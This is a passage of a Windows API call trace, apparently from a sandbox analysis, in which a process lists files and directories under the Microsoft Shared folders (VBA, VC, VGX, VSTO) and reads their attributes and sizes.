	[0050.779] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\VBE7.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\vba\\vba7\\vbe7.dll"), fInfoLevelId=0x0, lpFileInformation=0x124df408 | out: lpFileInformation=0x124df408*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x56d3ae00, ftCreationTime.dwHighDateTime=0x1cbc41d, ftLastAccessTime.dwLowDateTime=0xe2340dc0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x56d3ae00, ftLastWriteTime.dwHighDateTime=0x1cbc41d, nFileSizeHigh=0x0, nFileSizeLow=0x381748)) returned 1
	[0050.780] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VC" (normalized: "c:\\program files\\common files\\microsoft shared\\vc"), fInfoLevelId=0x0, lpFileInformation=0x124df458 | out: lpFileInformation=0x124df458*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xbd2c6940, ftCreationTime.dwHighDateTime=0x1d2e620, ftLastAccessTime.dwLowDateTime=0xd250e300, ftLastAccessTime.dwHighDateTime=0x1d2e620, ftLastWriteTime.dwLowDateTime=0xd250e300, ftLastWriteTime.dwHighDateTime=0x1d2e620, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1
	[0050.781] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VC" (normalized: "c:\\program files\\common files\\microsoft shared\\vc"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0050.781] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VC\\*", lpFindFileData=0x123ed918 | out: lpFindFileData=0x123ed918*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xbd2c6940, ftCreationTime.dwHighDateTime=0x1d2e620, ftLastAccessTime.dwLowDateTime=0xd250e300, ftLastAccessTime.dwHighDateTime=0x1d2e620, ftLastWriteTime.dwLowDateTime=0xd250e300, ftLastWriteTime.dwHighDateTime=0x1d2e620, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7eb938
	[0050.781] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x123ed938 | out: lpFindFileData=0x123ed938*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xbd2c6940, ftCreationTime.dwHighDateTime=0x1d2e620, ftLastAccessTime.dwLowDateTime=0xd250e300, ftLastAccessTime.dwHighDateTime=0x1d2e620, ftLastWriteTime.dwLowDateTime=0xd250e300, ftLastWriteTime.dwHighDateTime=0x1d2e620, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0050.781] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x123ed938 | out: lpFindFileData=0x123ed938*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc9ef3e00, ftCreationTime.dwHighDateTime=0x1cbd033, ftLastAccessTime.dwLowDateTime=0xd2618ca0, ftLastAccessTime.dwHighDateTime=0x1d2e620, ftLastWriteTime.dwLowDateTime=0xc9ef3e00, ftLastWriteTime.dwHighDateTime=0x1cbd033, nFileSizeHigh=0x0, nFileSizeLow=0xf1b50, dwReserved0=0x0, dwReserved1=0x0, cFileName="msdia100.dll", cAlternateFileName="")) returned 1
	[0050.781] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x123ed938 | out: lpFindFileData=0x123ed938*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc1c53c00, ftCreationTime.dwHighDateTime=0x1cbfdf3, ftLastAccessTime.dwLowDateTime=0xbd2c6940, ftLastAccessTime.dwHighDateTime=0x1d2e620, ftLastWriteTime.dwLowDateTime=0xc1c53c00, ftLastWriteTime.dwHighDateTime=0x1cbfdf3, nFileSizeHigh=0x0, nFileSizeLow=0xd0d50, dwReserved0=0x0, dwReserved1=0x0, cFileName="msdia90.dll", cAlternateFileName="")) returned 1
	[0050.781] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x123ed938 | out: lpFindFileData=0x123ed938*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0
	[0050.781] FindClose (in: hFindFile=0x7eb938 | out: hFindFile=0x7eb938) returned 1
	[0050.781] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VC\\msdia100.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\vc\\msdia100.dll"), fInfoLevelId=0x0, lpFileInformation=0x124df548 | out: lpFileInformation=0x124df548*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc9ef3e00, ftCreationTime.dwHighDateTime=0x1cbd033, ftLastAccessTime.dwLowDateTime=0xd2618ca0, ftLastAccessTime.dwHighDateTime=0x1d2e620, ftLastWriteTime.dwLowDateTime=0xc9ef3e00, ftLastWriteTime.dwHighDateTime=0x1cbd033, nFileSizeHigh=0x0, nFileSizeLow=0xf1b50)) returned 1
	[0050.782] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VC\\msdia90.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\vc\\msdia90.dll"), fInfoLevelId=0x0, lpFileInformation=0x124df598 | out: lpFileInformation=0x124df598*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc1c53c00, ftCreationTime.dwHighDateTime=0x1cbfdf3, ftLastAccessTime.dwLowDateTime=0xbd2c6940, ftLastAccessTime.dwHighDateTime=0x1d2e620, ftLastWriteTime.dwLowDateTime=0xc1c53c00, ftLastWriteTime.dwHighDateTime=0x1cbfdf3, nFileSizeHigh=0x0, nFileSizeLow=0xd0d50)) returned 1
	[0050.782] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VGX" (normalized: "c:\\program files\\common files\\microsoft shared\\vgx"), fInfoLevelId=0x0, lpFileInformation=0x124df5e8 | out: lpFileInformation=0x124df5e8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x803feff7, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x803feff7, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1
	[0050.782] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VGX" (normalized: "c:\\program files\\common files\\microsoft shared\\vgx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0050.782] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VGX\\*", lpFindFileData=0x123ed918 | out: lpFindFileData=0x123ed918*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x803feff7, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x803feff7, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7eb938
	[0050.783] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x123ed938 | out: lpFindFileData=0x123ed938*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x803feff7, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x803feff7, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0050.783] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x123ed938 | out: lpFindFileData=0x123ed938*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee7a7ff6, ftCreationTime.dwHighDateTime=0x1ca0415, ftLastAccessTime.dwLowDateTime=0xee7a7ff6, ftLastAccessTime.dwHighDateTime=0x1ca0415, ftLastWriteTime.dwLowDateTime=0x454d7b80, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0x10f200, dwReserved0=0x0, dwReserved1=0x0, cFileName="VGX.dll", cAlternateFileName="")) returned 1
	[0050.783] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x123ed938 | out: lpFindFileData=0x123ed938*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0
	[0050.783] FindClose (in: hFindFile=0x7eb938 | out: hFindFile=0x7eb938) returned 1
	[0050.783] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VGX\\VGX.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\vgx\\vgx.dll"), fInfoLevelId=0x0, lpFileInformation=0x124df688 | out: lpFileInformation=0x124df688*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee7a7ff6, ftCreationTime.dwHighDateTime=0x1ca0415, ftLastAccessTime.dwLowDateTime=0xee7a7ff6, ftLastAccessTime.dwHighDateTime=0x1ca0415, ftLastWriteTime.dwLowDateTime=0x454d7b80, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0x10f200)) returned 1
	[0050.784] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VSTO" (normalized: "c:\\program files\\common files\\microsoft shared\\vsto"), fInfoLevelId=0x0, lpFileInformation=0x124df6d8 | out: lpFileInformation=0x124df6d8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3a42070, ftCreationTime.dwHighDateTime=0x1d2dda2, ftLastAccessTime.dwLowDateTime=0xd6cdb800, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xd6cdb800, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1
	[0050.784] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VSTO" (normalized: "c:\\program files\\common files\\microsoft shared\\vsto"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0050.784] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VSTO\\*", lpFindFileData=0x123ed918 | out: lpFindFileData=0x123ed918*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3a42070, ftCreationTime.dwHighDateTime=0x1d2dda2, ftLastAccessTime.dwLowDateTime=0xd6cdb800, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xd6cdb800, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7eb938
	[0050.785] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x123ed938 | out: lpFindFileData=0x123ed938*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3a42070, ftCreationTime.dwHighDateTime=0x1d2dda2, ftLastAccessTime.dwLowDateTime=0xd6cdb800, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xd6cdb800, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0050.785] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x123ed938 | out: lpFindFileData=0x123ed938*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3a42070, ftCreationTime.dwHighDateTime=0x1d2dda2, ftLastAccessTime.dwLowDateTime=0xd6d4dc20, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xd6d4dc20, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="10.0", cAlternateFileName="")) returned 1
	[0050.785] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x123ed938 | out: lpFindFileData=0x123ed938*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6a612c00, ftCreationTime.dwHighDateTime=0x1cb6585, ftLastAccessTime.dwLowDateTime=0xd6cdb800, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x6a612c00, ftLastWriteTime.dwHighDateTime=0x1cb6585, nFileSizeHigh=0x0, nFileSizeLow=0x2d148, dwReserved0=0x0, dwReserved1=0x0, cFileName="vstoee.dll", cAlternateFileName="")) returned 1
	[0050.785] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x123ed938 | out: lpFindFileData=0x123ed938*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6a612c00, ftCreationTime.dwHighDateTime=0x1cb6585, ftLastAccessTime.dwLowDateTime=0xd6c693e0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x6a612c00, ftLastWriteTime.dwHighDateTime=0x1cb6585, nFileSizeHigh=0x0, nFileSizeLow=0x3f50, dwReserved0=0x0, dwReserved1=0x0, cFileName="vstoee100.tlb", cAlternateFileName="VSTOEE~1.TLB")) returned 1
	[0050.785] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x123ed938 | out: lpFindFileData=0x123ed938*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6a612c00, ftCreationTime.dwHighDateTime=0x1cb6585, ftLastAccessTime.dwLowDateTime=0xd6c8f540, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x6a612c00, ftLastWriteTime.dwHighDateTime=0x1cb6585, nFileSizeHigh=0x0, nFileSizeLow=0x5550, dwReserved0=0x0, dwReserved1=0x0, cFileName="vstoee90.tlb", cAlternateFileName="")) returned 1
	[0050.785] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x123ed938 | out: lpFindFileData=0x123ed938*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0
	[0050.785] FindClose (in: hFindFile=0x7eb938 | out: hFindFile=0x7eb938) returned 1
	[0050.785] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VSTO\\10.0" (normalized: "c:\\program files\\common files\\microsoft shared\\vsto\\10.0"), fInfoLevelId=0x0, lpFileInformation=0x124df868 | out: lpFileInformation=0x124df868*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3a42070, ftCreationTime.dwHighDateTime=0x1d2dda2, ftLastAccessTime.dwLowDateTime=0xd6d4dc20, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xd6d4dc20, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1
	[0050.786] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VSTO\\10.0" (normalized: "c:\\program files\\common files\\microsoft shared\\vsto\\10.0"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0050.786] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VSTO\\10.0\\*", lpFindFileData=0x123ed8b4 | out: lpFindFileData=0x123ed8b4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3a42070, ftCreationTime.dwHighDateTime=0x1d2dda2, ftLastAccessTime.dwLowDateTime=0xd6d4dc20, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xd6d4dc20, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7eb938
	[0050.787] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x123ed8d4 | out: lpFindFileData=0x123ed8d4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3a42070, ftCreationTime.dwHighDateTime=0x1d2dda2, ftLastAccessTime.dwLowDateTime=0xd6d4dc20, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xd6d4dc20, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0050.787] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x123ed8d4 | out: lpFindFileData=0x123ed8d4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x617be070, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xd504b000, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xd504b000, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1033", cAlternateFileName="")) returned 1
	[0050.787] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x123ed8d4 | out: lpFindFileData=0x123ed8d4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc251dc00, ftCreationTime.dwHighDateTime=0x1cab7c7, ftLastAccessTime.dwLowDateTime=0x5e4b68d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xc251dc00, ftLastWriteTime.dwHighDateTime=0x1cab7c7, nFileSizeHigh=0x0, nFileSizeLow=0x2cc, dwReserved0=0x0, dwReserved1=0x0, cFileName="VSTOInstaller.config", cAlternateFileName="VSTOIN~1.CON")) returned 1
	[0050.787] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x123ed8d4 | out: lpFindFileData=0x123ed8d4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6a612c00, ftCreationTime.dwHighDateTime=0x1cb6585, ftLastAccessTime.dwLowDateTime=0xd6d27ac0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x6a612c00, ftLastWriteTime.dwHighDateTime=0x1cb6585, nFileSizeHigh=0x0, nFileSizeLow=0x18558, dwReserved0=0x0, dwReserved1=0x0, cFileName="VSTOInstaller.exe", cAlternateFileName="VSTOIN~1.EXE")) returned 1
	[0050.787] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x123ed8d4 | out: lpFindFileData=0x123ed8d4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6a612c00, ftCreationTime.dwHighDateTime=0x1cb6585, ftLastAccessTime.dwLowDateTime=0xd6d4dc20, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x6a612c00, ftLastWriteTime.dwHighDateTime=0x1cb6585, nFileSizeHigh=0x0, nFileSizeLow=0x5e950, dwReserved0=0x0, dwReserved1=0x0, cFileName="VSTOLoader.dll", cAlternateFileName="VSTOLO~1.DLL")) returned 1
	[0050.787] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x123ed8d4 | out: lpFindFileData=0x123ed8d4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6a612c00, ftCreationTime.dwHighDateTime=0x1cb6585, ftLastAccessTime.dwLowDateTime=0xd51096e0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x6a612c00, ftLastWriteTime.dwHighDateTime=0x1cb6585, nFileSizeHigh=0x0, nFileSizeLow=0xbb68, dwReserved0=0x0, dwReserved1=0x0, cFileName="VSTOMessageProvider.dll", cAlternateFileName="VSTOME~1.DLL")) returned 1
	[0050.787] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x123ed8d4 | out: lpFindFileData=0x123ed8d4*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0
	[0050.787] FindClose (in: hFindFile=0x7eb938 | out: hFindFile=0x7eb938) returned 1
	[0050.788] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VSTO\\10.0\\1033" (normalized: "c:\\program files\\common files\\microsoft shared\\vsto\\10.0\\1033"), fInfoLevelId=0x0, lpFileInformation=0x124dfa48 | out: lpFileInformation=0x124dfa48*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x617be070, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xd504b000, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xd504b000, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1
	[0050.789] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VSTO\\10.0\\1033" (normalized: "c:\\program files\\common files\\microsoft shared\\vsto\\10.0\\1033"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0050.789] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VSTO\\10.0\\1033\\*", lpFindFileData=0x123ed850 | out: lpFindFileData=0x123ed850*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x617be070, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xd504b000, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xd504b000, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7eb938
	[0050.790] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x123ed870 | out: lpFindFileData=0x123ed870*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x617be070, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xd504b000, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xd504b000, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0050.790] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x123ed870 | out: lpFindFileData=0x123ed870*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6a612c00, ftCreationTime.dwHighDateTime=0x1cb6585, ftLastAccessTime.dwLowDateTime=0xd5024ea0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x6a612c00, ftLastWriteTime.dwHighDateTime=0x1cb6585, nFileSizeHigh=0x0, nFileSizeLow=0x2760, dwReserved0=0x0, dwReserved1=0x0, cFileName="VSTOInstallerUI.dll", cAlternateFileName="VSTOIN~1.DLL")) returned 1
	[0050.790] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x123ed870 | out: lpFindFileData=0x123ed870*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6a612c00, ftCreationTime.dwHighDateTime=0x1cb6585, ftLastAccessTime.dwLowDateTime=0xd504b000, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x6a612c00, ftLastWriteTime.dwHighDateTime=0x1cb6585, nFileSizeHigh=0x0, nFileSizeLow=0x4758, dwReserved0=0x0, dwReserved1=0x0, cFileName="VSTOLoaderUI.dll", cAlternateFileName="VSTOLO~1.DLL")) returned 1
	[0050.790] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x123ed870 | out: lpFindFileData=0x123ed870*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0
	[0050.790] FindClose (in: hFindFile=0x7eb938 | out: hFindFile=0x7eb938) returned 1
	[0050.790] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VSTO\\10.0\\1033\\VSTOInstallerUI.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\vsto\\10.0\\1033\\vstoinstallerui.dll"), fInfoLevelId=0x0, lpFileInformation=0x124dfb38 | out: lpFileInformation=0x124dfb38*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6a612c00, ftCreationTime.dwHighDateTime=0x1cb6585, ftLastAccessTime.dwLowDateTime=0xd5024ea0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x6a612c00, ftLastWriteTime.dwHighDateTime=0x1cb6585, nFileSizeHigh=0x0, nFileSizeLow=0x2760)) returned 1
	[0050.790] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VSTO\\10.0\\1033\\VSTOLoaderUI.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\vsto\\10.0\\1033\\vstoloaderui.dll"), fInfoLevelId=0x0, lpFileInformation=0x124dfb88 | out: lpFileInformation=0x124dfb88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6a612c00, ftCreationTime.dwHighDateTime=0x1cb6585, ftLastAccessTime.dwLowDateTime=0xd504b000, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x6a612c00, ftLastWriteTime.dwHighDateTime=0x1cb6585, nFileSizeHigh=0x0, nFileSizeLow=0x4758)) returned 1
	[0050.791] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VSTO\\10.0\\VSTOInstaller.config" (normalized: "c:\\program files\\common files\\microsoft shared\\vsto\\10.0\\vstoinstaller.config"), fInfoLevelId=0x0, lpFileInformation=0x124dfbd8 | out: lpFileInformation=0x124dfbd8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc251dc00, ftCreationTime.dwHighDateTime=0x1cab7c7, ftLastAccessTime.dwLowDateTime=0x5e4b68d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xc251dc00, ftLastWriteTime.dwHighDateTime=0x1cab7c7, nFileSizeHigh=0x0, nFileSizeLow=0x2cc)) returned 1
